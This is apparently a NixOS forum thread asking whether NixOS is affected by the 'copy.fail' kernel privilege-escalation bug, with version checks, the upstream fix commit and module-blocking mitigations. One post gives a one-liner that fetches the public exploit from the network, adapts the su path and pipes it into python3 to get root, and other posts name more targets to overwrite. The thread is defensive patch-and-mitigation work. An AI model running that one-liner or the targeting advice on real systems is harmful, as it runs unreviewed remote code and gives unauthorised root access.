Is nixos affected by copy.fail [EDIT: yes, it is.]

Hi!

A rather nasty exploit just came up. I’ve tried the exploit, but couldn’t make it work on nixos. It does not mean we’re safe though.

Is our kernel already patched in unstable? in 25.11? (I couldn’t find any issue, but as it is a security issue, it might be hidden from me).

Thanks!

7 Likes

As best I can tell you are (currently) vulnerable except on the 7.0 kernel. The patch hasn’t been backported, and it hasn’t been deliberately added by nixpkgs yet - usually NixOS isn’t contacted during embargoes.

Edit: nah, I missed the backport, thanks for correcting that @sjagoe and @raboof - Kernel 6.12 and earlier are vulnerable, but not 6.18.22+, 6.19.12+ and 7.0+.

3 Likes

usually NixOS isn’t contacted during embargoes.

*That’s actually a shame. Do you know how this could change?

1 Like

I cannot reproduce it either. Blacklisting the affected kernel module should apparently be fine.

+    # protect against the copy fail exploit by blacklisting the affected kernel modules
+    boot.blacklistedKernelModules =
+      [ "af_alg" "algif_hash" "algif_skcipher" "algif_rng" "algif_aead" ];
1 Like

I tried to edit the copyfail.py file in the blog post, replacing /usr/bin/chsh by the real path on my machine, but I have this error:

Traceback (most recent call last):
  File "/home/augustin/Downloads/./copyfail.py", line 36, in <module>
    target_fd = os.open("/run/wrappers/wrappers.D6mWRyb6LG/chsh", os.O_RDONLY)
PermissionError: [Errno 13] Permission denied: '/run/wrappers/wrappers.D6mWRyb6LG/chsh'

After digging a while, it seems that from 25.11 to master:

Which seems to prevent the exploit on nixos :tada:

1 Like

After some looking, it seems that the fix was backported to linux 6.18.22, so nixos-25.11 is not vulnerable if you use boot.kernelPackages = pkgs.linuxPackages_6_18 (which currently provides 6.18.24).

From the kernel changelog:

commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Mar 26 15:30:20 2026 +0900

    crypto: algif_aead - Revert to operating out-of-place
    
    [ Upstream commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 ]
    
    This mostly reverts commit 72548b093ee3 except for the copying of
    the associated data.
    
    There is no benefit in operating in-place in algif_aead since the
    source and destination come from different mappings.  Get rid of
    all the complexity added for in-place operation and just copy the
    AD directly.
    
    Fixes: 72548b093ee3 ("crypto: algif_aead - copy AAD from src to dst")
    Reported-by: Taeyang Lee <0wn@theori.io>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Sasha Levin <sashal@kernel.org>
2 Likes

I was wrong. I can reproduce the exploit by default on kernel 6.12 : we just need to replace the path in the script by something in the store (not in /run/wrappers), like /nix/store/hmfzj7wv3ynp9k03yqhz3d3yn8gnzcnk-shadow-4.18.0-su/bin/su for instance, and the exploit works.

2 Likes

IIUC according to https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh the fix should be in 6.18.22, 6.19.12 and 7.0 - so check your uname -r I guess? (or let me know if I understood this incorrectly :slight_smile:)

I suspect that is wrong, blacklisting does not stop a module from loading if the kernel explicitly requests it by its exact name.

You need to do it with install, like it’s proposed in the announcement:

# copy.fail mitigation, until we're on a kernel that has it patched
boot.extraModprobeConfig = "install algif_aead /bin/false";

See also: If you want to use the suggested mitigation (disabling kernel module `algif_aead... | Hacker News

3 Likes

See my post how to find the fix by its commit message, to see in which upstream/stable kernel versions its available:

2 Likes

this one-liner worked for me:

curl https://copy.fail/exp | sed 's|/usr/bin/su|/run/current-system/sw/bin/su|g' | python3 && su

see NixOS 25.11 maybe affected? · Issue #48 · theori-io/copy-fail-CVE-2026-31431 · GitHub

2 Likes

Hah, wow, piping a CVE proof into your shell is quite the YOLO move.

28 Likes

I am wondering, how can /run/current-system/sw/bin/su be the dangerous one?

Maybe I am missing details in the CVE (which I haven’t read myself but trust our opsperson that it is basically a race with kernel locks), but /run/current-system/sw/bin/su doesn’t have suid, so I always expected only use of /run/wrappers/bin/su could trigger the issue.

as far as i understand, the python script needs the contents of su that gets executed when you run the su command. /run/current-system/sw/bin/su is world readable and contains the same content as /run/wrappers/bin/su (or i should say, where it points to). the script doesn’t care about the setuid or permissions of the exectuable, you execute it. the script needs to read the exact content.

Ah, okay, I thought it needed to run it to trigger the race. Then I misunderstood that part.

More precision: 25.11 is affected. The current fix is to upgrade the kernel, for instance with:

boot.kernelPackages = lib.mkIf (lib.versionOlder pkgs.linux.version "6.18.22") (
  lib.mkDefault pkgs.linuxPackages_6_18
);

(thanks to this gh comment)

Unstable is already patched.

6 Likes

it’s not really about reading the content, it’s just about having the read permission at all. Also the bug has nothing to do with setuid at all; setuid is just the most obvious way to exploit it. The impact of the bug is:

Any user who can open a file with read perms also has the ability to corrupt the page cache of that file arbitrarily.

So yes the simplest thing to do is replace the su setuid binary’s contents with one that just lets you escalate to root. Oddly enough, that’s not possible on nixos because things in /run/wrappers/bin usually only have the execute perm set, not the read perm, for normal users. But similarly trivial exploits with no setuid exist. There are plenty of files on the system that can give anybody root, but don’t because only root can edit them, e.g. /etc/passwd.

2 Likes

Does it really work? NixOS does not provide /bin/false. Is early stage of boot have that binary?

Yes, becaause as per man 5 modprobe.d,

This [the install] command instructs modprobe to run your command instead of the module in the kernel as normal.

Providing an install command that fails because it doesn’t exist works just as well as invoking false which fails because that’s its purpose.

1 Like

Here’s a slightly safer and more portable PoC script. I’ve modified it to only “write” oops, haxxed to /etc/issue instead. It also works on aarch64-linux and hopefully many other platforms.

Rebooting after running the exploit is also recommended.

On NixOS that is a symlink to the store so it also does eventually “write” to the store.

2 Likes